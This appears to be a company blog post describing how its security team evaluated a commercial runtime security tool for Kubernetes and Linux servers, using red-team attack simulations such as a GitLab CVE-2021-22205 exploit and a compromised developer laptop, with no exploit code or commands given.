Evaluate Real-Time Security Tools with Our Practical Guide

The choice of a real-time security tool is essential for protecting cloud-native environments. Recently, we conducted a rigorous evaluation using attack simulations on our Kubernetes clusters and Linux servers. The reason is clear: the cloud audit logs do not provide enough details, leaving critical gaps in threat detection, incident response, and forensic analysis. Our evaluation meticulously analyzed each critical stage, from initial access to lateral movement and data exfiltration.

Although we will not name the specific vendor in this article, we want to share our detailed methodology and key learnings, providing a framework that you can adapt for your own security tool evaluations.

Why Are Real-Time Security Tools Necessary?

Without these tools, detecting suspicious activities and understanding what actually happened during an attack can be extremely challenging.

Limitations of Cloud Audit Logs

• Lack of Execution-Time Details
  Cloud audit logs mainly record operations and data accesses but do not capture execution-time activities in systems like Kubernetes servers, ignoring command executions and process behaviors.
• Gaps in Investigation and Forensics
  The absence of continuous, real-time logging in Kubernetes environments can lead to the loss of critical activity records once a container is terminated.

Even though well-known open-source real-time security tools exist, we decided to evaluate a commercial product to assess additional capabilities and enterprise-level support through attack simulation tests.

The Role and Purpose of Real-Time Security Tools

These tools address the limitations of cloud audit logs by continuously monitoring systems in real-time, offering functionalities such as:

• Threat Detection
  Monitoring command executions, system calls, and network events to instantly detect anomalous behaviors, allowing the security team to react quickly.
• Incident Response
  Detailed logging of system activities, providing necessary evidence to reconstruct attack timelines and conduct forensic investigations after an incident.
• Scalability in Investigations
  Unlike traditional forensic analysis that examines each point, real-time security tools allow central collection and analysis of data across the environment.

Key Points of the Evaluation

Our primary goal in evaluating a real-time security tool was to determine its effectiveness in real-world security investigations. While assessments often focus on the volume of detections or overall coverage, an excess of false positives can paralyze incident response teams. Therefore, our investigation focused on whether the tool could support security operations by understanding and responding to real attacks.

• Detection Capability
  We evaluated whether the built-in rule sets could detect a variety of attack techniques and provide the necessary details.
• Incident Response
  We checked whether the logs captured sufficient details to reconstruct the incident and the effectiveness of the log search system.

Evaluation Process

We divided our evaluation into four main phases:

1. Development of Attack Scenarios
   Scenarios were created to mimic real-world attack flows, in collaboration with our red team.
2. Infrastructure Setup
   We deployed two environments: a Kubernetes environment and a virtual machines environment.
3. Execution of Attacks
   We carried out the attack flow for each scenario, meticulously logging the timeline.
4. Analysis of Results
   We conducted a comprehensive assessment of detection capabilities and log richness.

Attack Scenarios

The first scenario involved exploiting a known GitLab vulnerability (CVE-2021-22205) to gain unauthorized access to a system. The second scenario simulated the compromise of a developer's laptop, using legitimate credentials to access internal resources.

Execution of Attacks

During the execution of the attack scenarios, we followed rigorous processes to obtain detailed logs:

• Detection Verification: We confirmed the detection of each attack command.
• Timeline Logging: Each event was logged in sequence to assess the capture of command executions.
• Quantitative Assessment: We assigned scores to each event based on detection effectiveness.

What We Learned

Testing Commercial Products is Essential

• Identifying Detection Gaps: Our evaluation revealed critical undetected scenarios. Meetings with the vendor resulted in product improvements.
• Limitations of Methods: Many modern tools use eBPF, but command execution in a C2 framework complicates detection.
• Combining Logs: It is essential to use real-time security tools alongside audit logs for a comprehensive view.

The Importance of Continuous Event Logging at Execution Time in Kubernetes

In Kubernetes environments, the loss of forensic data during container termination presents a risk, highlighting the need for persistent logging infrastructure.

Summary

We do not install security tools without a rigorous evaluation. Assessments like the one conducted above not only reveal unique use cases and areas for improvement but also provide valuable insights to optimize the utilization of the tools.